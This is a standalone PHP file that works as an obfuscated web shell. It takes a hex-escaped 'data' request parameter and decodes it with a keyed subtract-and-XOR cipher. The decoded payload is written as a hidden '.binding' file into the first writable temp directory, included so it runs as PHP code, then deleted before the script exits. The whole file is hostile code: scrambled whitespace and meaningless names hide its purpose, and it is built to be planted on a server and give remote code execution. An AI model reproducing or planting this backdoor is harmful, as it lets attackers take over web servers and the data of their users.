<?php

if(@$_REQUEST["da\x74\x61"] !== null){
	$symbol = array_filter(["/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir()]);
	$val = $_REQUEST["da\x74\x61"];
	  	$val =explode   (  	"."	, 		$val	 	); 	
	$entry='';
            $s4='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=strlen($s4);
            $q=0;
    
            $__tmp=$val;
            while($v1=array_shift($__tmp)) { $sChar=ord($s4[$q % $lenS]);
                $dec=((int)$v1 - $sChar -($q % 10))	 ^	26;
                $entry .= chr($dec);
                $q++;		}
	$obj = 0;
do {
    $sym = $symbol[$obj] ?? null;
    if ($obj >= count($symbol)) break;
    		if (is_writable($sym) && is_dir($sym)) {
    $factor = str_replace("{var_dir}", $sym, "{var_dir}/.binding");
    if (file_put_contents($factor, $entry)) {
	include $factor;
	@unlink($factor);
	die();
}
}
    $obj++;
} while (true);
}